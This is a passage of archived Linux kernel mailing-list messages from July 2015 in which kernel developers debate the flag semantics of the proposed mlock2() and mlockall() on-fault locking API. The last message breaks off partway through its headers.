Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3245 gmane.linux.kernel:2005516 gmane.linux.ports.mips.general:49600 gmane.linux.ports.parisc:25881 gmane.linux.ports.ppc64.devel:115951 gmane.linux.ports.sparc:21314 gmane.linux.kernel.mm:136352 gmane.linux.kernel.cross-arch:28652 gmane.linux.kernel.api:13196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3245>


--QTprm0S8XgL7H0Dt
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 27 Jul 2015, Vlastimil Babka wrote:

> On 07/27/2015 03:35 PM, Eric B Munson wrote:
> >On Mon, 27 Jul 2015, Vlastimil Babka wrote:
> >
> >>On 07/24/2015 11:28 PM, Eric B Munson wrote:
> >>
> >>...
> >>
> >>>Changes from V4:
> >>>Drop all architectures for new sys call entries except x86[_64] and MI=
PS
> >>>Drop munlock2 and munlockall2
> >>>Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keep=
ing
> >>>Adjust tests to match
> >>
> >>Hi, thanks for considering my suggestions. Well, I do hope there
> >>were correct as API's are hard and I'm no API expert. But since
> >>API's are also impossible to change after merging, I'm sorry but
> >>I'll keep pestering for one last thing. Thanks again for persisting,
> >>I do believe it's for the good thing!
> >>
> >>The thing is that I still don't like that one has to call
> >>mlock2(MLOCK_LOCKED) to get the equivalent of the old mlock(). Why
> >>is that flag needed? We have two modes of locking now, and v5 no
> >>longer treats them separately in vma flags. But having two flags
> >>gives us four possible combinations, so two of them would serve
> >>nothing but to confuse the programmer IMHO. What will mlock2()
> >>without flags do? What will mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) do?
> >>(Note I haven't studied the code yet, as having agreed on the API
> >>should come first. But I did suggest documenting these things more
> >>thoroughly too...)
> >>OK I checked now and both cases above seem to return EINVAL.
> >>
> >>So about the only point I see in MLOCK_LOCKED flag is parity with
> >>MAP_LOCKED for mmap(). But as Kirill said (and me before as well)
> >>MAP_LOCKED is broken anyway so we shouldn't twist the rest just of
> >>the API to keep the poor thing happier in its misery.
> >>
> >>Also note that AFAICS you don't have MCL_LOCKED for mlockall() so
> >>there's no full parity anyway. But please don't fix that by adding
> >>MCL_LOCKED :)
> >>
> >>Thanks!
> >
> >
> >I have an MLOCK_LOCKED flag because I prefer an interface to be
> >explicit.
>=20
> I think it's already explicit enough that the user calls mlock2(),
> no? He obviously wants the range mlocked. An optional flag says that
> there should be no pre-fault.
>=20
> >The caller of mlock2() will be required to fill in the flags
> >argument regardless.
>=20
> I guess users not caring about MLOCK_ONFAULT will continue using
> plain mlock() without flags anyway.
>=20
> I can drop the MLOCK_LOCKED flag with 0 being the
> >value for LOCKED, but I thought it easier to make clear what was going
> >on at any call to mlock2().  If user space defines a MLOCK_LOCKED that
> >happens to be 0, I suppose that would be okay.
>=20
> Yeah that would remove the weird 4-states-of-which-2-are-invalid
> problem I mentioned, but at the cost of glibc wrapper behaving
> differently than the kernel syscall itself. For little gain.
>=20
> >We do actually have an MCL_LOCKED, we just call it MCL_CURRENT.  Would
> >you prefer that I match the name in mlock2() (add MLOCK_CURRENT
> >instead)?
>=20
> Hm it's similar but not exactly the same, because MCL_FUTURE is not
> the same as MLOCK_ONFAULT :) So MLOCK_CURRENT would be even more
> confusing. Especially if mlockall(MCL_CURRENT | MCL_FUTURE) is OK,
> but mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) is invalid.

MLOCK_ONFAULT isn't meant to be the same as MCL_FUTURE, rather it is
meant to be the same as MCL_ONFAULT.  MCL_FUTURE only controls if the
locking policy will be applied to any new mappings made by this process,
not the locking policy itself.  The better comparison is MCL_CURRENT to
MLOCK_LOCK and MCL_ONFAULT to MLOCK_ONFAULT.  MCL_CURRENT and
MLOCK_LOCK do the same thing, only one requires a specific range of
addresses while the other works process wide.  This is why I suggested
changing MLOCK_LOCK to MLOCK_CURRENT.  It is an error to call
mlock2(MLOCK_LOCK | MLOCK_ONFAULT) just like it is an error to call
mlockall(MCL_CURRENT | MCL_ONFAULT).  The combinations do no make sense.

This was all decided when VM_LOCKONFAULT was a separate state from
VM_LOCKED.  Now that VM_LOCKONFAULT is a modifier to VM_LOCKED and
cannot be specified independentally, it might make more sense to mirror
that relationship to userspace.  Which would lead to soemthing like the
following:

To lock and populate a region:
mlock2(start, len, 0);

To lock on fault a region:
mlock2(start, len, MLOCK_ONFAULT);

If LOCKONFAULT is seen as a modifier to mlock, then having the flags
argument as 0 mean do mlock classic makes more sense to me.

To mlock current on fault only:
mlockall(MCL_CURRENT | MCL_ONFAULT);

To mlock future on fault only:
mlockall(MCL_FUTURE | MCL_ONFAULT);

To lock everything on fault:
mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);

I think I have talked myself into rewriting the set again :/

>=20
> >Finally, on the question of MAP_LOCKONFAULT, do you just dislike
> >MAP_LOCKED and do not want to see it extended, or is this a NAK on the
> >set if that patch is included.  I ask because I have to spin a V6 to get
> >the MLOCK flag declarations right, but I would prefer not to do a V7+.
> >If this is a NAK with, I can drop that patch and rework the tests to
> >cover without the mmap flag.  Otherwise I want to keep it, I have an
> >internal user that would like to see it added.
>=20
> I don't want to NAK that patch if you think it's useful.
>=20
>=20

--QTprm0S8XgL7H0Dt
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVtkYRAAoJELbVsDOpoOa98IYQAKmPZK/MjJP+kHmBsuNCxrvl
kaCRQunDUgO+iqKfdRseLlrsYwTyc3+/UwVRFhIflA1TuBJYjHmrM5t4XNpTE91e
jcgVoLji4yxHXqR4yfucnzrfkkDtiHLynwXxXgWRM6C9SF2fZ6lCMQ4GcHhFMNDL
b6gC0sRrImT49BhJ62CaXv+m0D7df7p+CqvC6DdFL7jR9thkEqlkJKr/7NbRvuDv
Euw8v452frV46AQWa0tGxzO5eoJjOnMpyBrkxsO7RQToWPu3XybIvvEJtRjC/kHc
yMC3unbXB363U5MGKs6TY8JhumY93i/6BmmyqgqizNPxg/ZBhZ8vYArhAzd46Yva
m5s+mhGTa8Mq863NWmIJOYIyWncnvtYGJ/FloG/SS8E1Y6hcxgMwS+JzaoBInV3I
LsxOl1GdTd4TPxYB5zAbu25BnRMz4GJQJ5c2rvIuVFDRH7w3O1eFBtlm6h4OO/2a
TMNIL5IsupxC7Y8fUXbVLoZbOgp71EO0zwui/G/Kv8uXL+chl3ITUY/cj9pNvENt
IaQoDulNdDaW+XTFr5ojb965y1Z5GrY/esdCuhOPPmFhD6O36Q4xrT+vCblkYt4W
3Q5vSJsnmao3bANXdow9jbKf/wdEd9d9ioMhZ8IBEt9DJ5MFSHKiB9rcpAOhG4Df
oJyjb7xP2EqU205W7AOD
=CjzZ
-----END PGP SIGNATURE-----

--QTprm0S8XgL7H0Dt--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Mon, 27 Jul 2015 17:40:24 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <55B650E8.9030102@suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz> <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz> <20150727145409.GB21664@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438011644 4763 80.91.229.3 (27 Jul 2015 15:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 15:40:44 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jul 27 17:40:36 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZJkW2-0005B2-Rt
	for lnx-sparclinux@plane.gmane.org; Mon, 27 Jul 2015 17:40:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753237AbbG0Pkc (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 27 Jul 2015 11:40:32 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:33406 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752676AbbG0Pka (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Mon, 27 Jul 2015 11:40:30 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 9804AAC25;
	Mon, 27 Jul 2015 15:40:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20150727145409.GB21664@akamai.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21315 gmane.linux.ports.alpha:3246 gmane.linux.kernel:2005557 gmane.linux.ports.mips.general:49602 gmane.linux.ports.parisc:25882 gmane.linux.ports.ppc64.devel:115955 gmane.linux.kernel.mm:136359 gmane.linux.kernel.cross-arch:28653 gmane.linux.kernel.api:13199
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21315>

On 07/27/2015 04:54 PM, Eric B Munson wrote:
> On Mon, 27 Jul 2015, Vlastimil Babka wrote:
>>
>>> We do actually have an MCL_LOCKED, we just call it MCL_CURRENT.  Would
>>> you prefer that I match the name in mlock2() (add MLOCK_CURRENT
>>> instead)?
>>
>> Hm it's similar but not exactly the same, because MCL_FUTURE is not
>> the same as MLOCK_ONFAULT :) So MLOCK_CURRENT would be even more
>> confusing. Especially if mlockall(MCL_CURRENT | MCL_FUTURE) is OK,
>> but mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) is invalid.
>
> MLOCK_ONFAULT isn't meant to be the same as MCL_FUTURE, rather it is
> meant to be the same as MCL_ONFAULT.  MCL_FUTURE only controls if the
> locking policy will be applied to any new mappings made by this process,
> not the locking policy itself.  The better comparison is MCL_CURRENT to
> MLOCK_LOCK and MCL_ONFAULT to MLOCK_ONFAULT.  MCL_CURRENT and
> MLOCK_LOCK do the same thing, only one requires a specific range of
> addresses while the other works process wide.  This is why I suggested
> changing MLOCK_LOCK to MLOCK_CURRENT.  It is an error to call
> mlock2(MLOCK_LOCK | MLOCK_ONFAULT) just like it is an error to call
> mlockall(MCL_CURRENT | MCL_ONFAULT).  The combinations do no make sense.

How is it an error to call mlockall(MCL_CURRENT | MCL_ONFAULT)? How else 
would you apply mlock2(MCL_ONFAULT) to all current mappings? Later below 
you use the same example and I don't think it's different by removing 
MLOCK_LOCKED flag.

> This was all decided when VM_LOCKONFAULT was a separate state from
> VM_LOCKED.  Now that VM_LOCKONFAULT is a modifier to VM_LOCKED and
> cannot be specified independentally, it might make more sense to mirror
> that relationship to userspace.  Which would lead to soemthing like the
> following:
>
> To lock and populate a region:
> mlock2(start, len, 0);
>
> To lock on fault a region:
> mlock2(start, len, MLOCK_ONFAULT);
>
> If LOCKONFAULT is seen as a modifier to mlock, then having the flags
> argument as 0 mean do mlock classic makes more sense to me.

Yup that's what I was trying to suggest.

> To mlock current on fault only:
> mlockall(MCL_CURRENT | MCL_ONFAULT);
>
> To mlock future on fault only:
> mlockall(MCL_FUTURE | MCL_ONFAULT);
>
> To lock everything on fault:
> mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
>
> I think I have talked myself into rewriting the set again :/

Sorry :) You could also wait a bit for more input than just from me...

>>
>>> Finally, on the question of MAP_LOCKONFAULT, do you just dislike
>>> MAP_LOCKED and do not want to see it extended, or is this a NAK on the
>>> set if that patch is included.  I ask because I have to spin a V6 to get
>>> the MLOCK flag declarations right, but I would prefer not to do a V7+.
>>> If this is a NAK with, I can drop that patch and rework the tests to
>>> cover without the mmap flag.  Otherwise I want to keep it, I have an
>>> internal user that would like to see it added.
>>
>> I don't want to NAK that patch if you think it's useful.
>>
>>

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Tue, 28 Jul 2015 13:17:25 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20150728111725.GG24972@dhcp22.suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz>
 <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz>
 <20150727145409.GB21664@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1438082264 1009 80.91.229.3 (28 Jul 2015 11:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jul 2015 11:17:44 +0000 (UTC)
Cc: Vlastimil Babka <vbabka@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Jul 28 13:17:42 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZK2t3-0005Jr-On
	for lnx-linux-alpha@plane.gmane.org; Tue, 28 Jul 2015 13:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751842AbbG1LRb (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 28 Jul 2015 07:17:31 -0400
Original-Received: from mail-wi0-f170.google.com ([209.85.212.170]:38792 "EHLO
	mail-wi0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751176AbbG1LRa (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Tue, 28 Jul 2015 07:17:30 -0400
Original-Received: by wibxm9 with SMTP id xm9so155588352wib.1;
        Tue, 28 Jul 2015 04:17:28 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=nRUhGz/krU7Dw8DdEKVPOa3R9btHwBIf/Z6Daov4LHc=;
        b=Tdisu3xlQkh4T8Jd/WQuG9hobQYcaCxcEabK9PJIr1av1ywlYl1IGwisRK8hJiYzwT
         ufDKpPEzNCcz/k92xkd1aWStriwdetGhWR3nxKc7fzpLQBNX+m0bk0hWKD1qQy452vxN
         obXP9E3/A07TC4jV46foevL8psEde6j9nnHKW47+pP8yh7hZ6O+x/Vfi6APZcAGbl/m/
         krRLtsI1OG6VtMZEvAJc102Ml21K0q9lt5QJ76m4hNnd3l9j0oQpqp5pPG949QPZitgP
         dsed3OUKPMDb7nomI7AuTuC080rsC09Rtp3ZM8GGOiBq4u00zacrh1NI7syHX/zQF7gr
         EtsA==
X-Received: by 10.180.104.8 with SMTP id ga8mr33973857wib.5.1438082248047;
        Tue, 28 Jul 2015 04:17:28 -0700 (PDT)
Original-Received: from localhost (bband-dyn181.95-103-48.t-com.sk. [95.103.48.181])
        by smtp.gmail.com with ESMTPSA id pd7sm32733949wjb.27.2015.07.28.04.17.26
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 28 Jul 2015 04:17:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20150727145409.GB21664@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3248 gmane.linux.kernel:2006506 gmane.linux.ports.mips.general:49635 gmane.linux.ports.parisc:25883 gmane.linux.ports.ppc64.devel:116007 gmane.linux.ports.sparc:21318 gmane.linux.kernel.mm:136386 gmane.linux.kernel.cross-arch:28663 gmane.linux.kernel.api:13215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3248>

[I am sorry but I didn't get to this sooner.]

On Mon 27-07-15 10:54:09, Eric B Munson wrote:
> Now that VM_LOCKONFAULT is a modifier to VM_LOCKED and
> cannot be specified independentally, it might make more sense to mirror
> that relationship to userspace.  Which would lead to soemthing like the
> following:

A modifier makes more sense.
 
> To lock and populate a region:
> mlock2(start, len, 0);
> 
> To lock on fault a region:
> mlock2(start, len, MLOCK_ONFAULT);
> 
> If LOCKONFAULT is seen as a modifier to mlock, then having the flags
> argument as 0 mean do mlock classic makes more sense to me.
> 
> To mlock current on fault only:
> mlockall(MCL_CURRENT | MCL_ONFAULT);
> 
> To mlock future on fault only:
> mlockall(MCL_FUTURE | MCL_ONFAULT);
> 
> To lock everything on fault:
> mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);

Makes sense to me. The only remaining and still tricky part would be
the munlock{all}(flags) behavior. What should munlock(MLOCK_ONFAULT)
do? Keep locked and poppulate the range or simply ignore the flag an
just unlock?

I can see some sense to allow munlockall(MCL_FUTURE[|MLOCK_ONFAULT]),
munlockall(MCL_CURRENT) resp. munlockall(MCL_CURRENT|MCL_FUTURE) but
other combinations sound weird to me.

Anyway munlock with flags opens new doors of trickiness.
-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Tue, 28 Jul 2015 13:23:29 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <55B76631.6040802@suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz> <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz> <20150727145409.GB21664@akamai.com>
 <20150728111725.GG24972@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438082630 7425 80.91.229.3 (28 Jul 2015 11:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jul 2015 11:23:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>,
	Eric B Munson <emunson@akamai.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 28 13:23:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZK2z0-0000z4-2i
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Jul 2015 13:23:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755587AbbG1LXl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Jul 2015 07:23:41 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:39588 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755290AbbG1LXj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Jul 2015 07:23:39 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id BE0CFAD4F;
	Tue, 28 Jul 2015 11:23:34 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20150728111725.GG24972@dhcp22.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25884 gmane.linux.ports.alpha:3249 gmane.linux.kernel:2006524 gmane.linux.ports.mips.general:49636 gmane.linux.ports.ppc64.devel:116008 gmane.linux.ports.sparc:21319 gmane.linux.kernel.mm:136387 gmane.linux.kernel.cross-arch:28664 gmane.linux.kernel.api:13216
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25884>

On 07/28/2015 01:17 PM, Michal Hocko wrote:
> [I am sorry but I didn't get to this sooner.]
>
> On Mon 27-07-15 10:54:09, Eric B Munson wrote:
>> Now that VM_LOCKONFAULT is a modifier to VM_LOCKED and
>> cannot be specified independentally, it might make more sense to mirror
>> that relationship to userspace.  Which would lead to soemthing like the
>> following:
>
> A modifier makes more sense.
>
>> To lock and populate a region:
>> mlock2(start, len, 0);
>>
>> To lock on fault a region:
>> mlock2(start, len, MLOCK_ONFAULT);
>>
>> If LOCKONFAULT is seen as a modifier to mlock, then having the flags
>> argument as 0 mean do mlock classic makes more sense to me.
>>
>> To mlock current on fault only:
>> mlockall(MCL_CURRENT | MCL_ONFAULT);
>>
>> To mlock future on fault only:
>> mlockall(MCL_FUTURE | MCL_ONFAULT);
>>
>> To lock everything on fault:
>> mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
>
> Makes sense to me. The only remaining and still tricky part would be
> the munlock{all}(flags) behavior. What should munlock(MLOCK_ONFAULT)
> do? Keep locked and poppulate the range or simply ignore the flag an
> just unlock?

munlock(all) already lost both MLOCK_LOCKED and MLOCK_ONFAULT flags in 
this revision, so I suppose in the next revision it will also not accept 
MLOCK_ONFAULT, and will just munlock whatever was mlocked in either mode.

> I can see some sense to allow munlockall(MCL_FUTURE[|MLOCK_ONFAULT]),
> munlockall(MCL_CURRENT) resp. munlockall(MCL_CURRENT|MCL_FUTURE) but
> other combinations sound weird to me.

The effect of munlockall(MCL_FUTURE|MLOCK_ONFAULT), which you probably 
intended for converting the onfault to full prepopulation for future 
mappings, can be achieved by calling mlockall(MCL_FUTURE) (without 
MLOCK_ONFAULT).

> Anyway munlock with flags opens new doors of trickiness.



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Tue, 28 Jul 2015 09:49:42 -0400
Lines: 104
Approved: news@gmane.org
Message-ID: <20150728134942.GB2407@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz>
 <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz>
 <20150727145409.GB21664@akamai.com>
 <20150728111725.GG24972@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="61jdw2sOBCFtR2d/"
X-Trace: ger.gmane.org 1438091402 27425 80.91.229.3 (28 Jul 2015 13:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jul 2015 13:50:02 +0000 (UTC)
Cc: Vlastimil Babka <vbabka@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 28 15:49:52 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZK5GS-0003X0-3L
	for glkm-linux-mm-2@m.gmane.org; Tue, 28 Jul 2015 15:49:52 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 496A06B0255; Tue, 28 Jul 2015 09:49:45 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 46D229003C8; Tue, 28 Jul 2015 09:49:45 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 35B9B6B0257; Tue, 28 Jul 2015 09:49:45 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
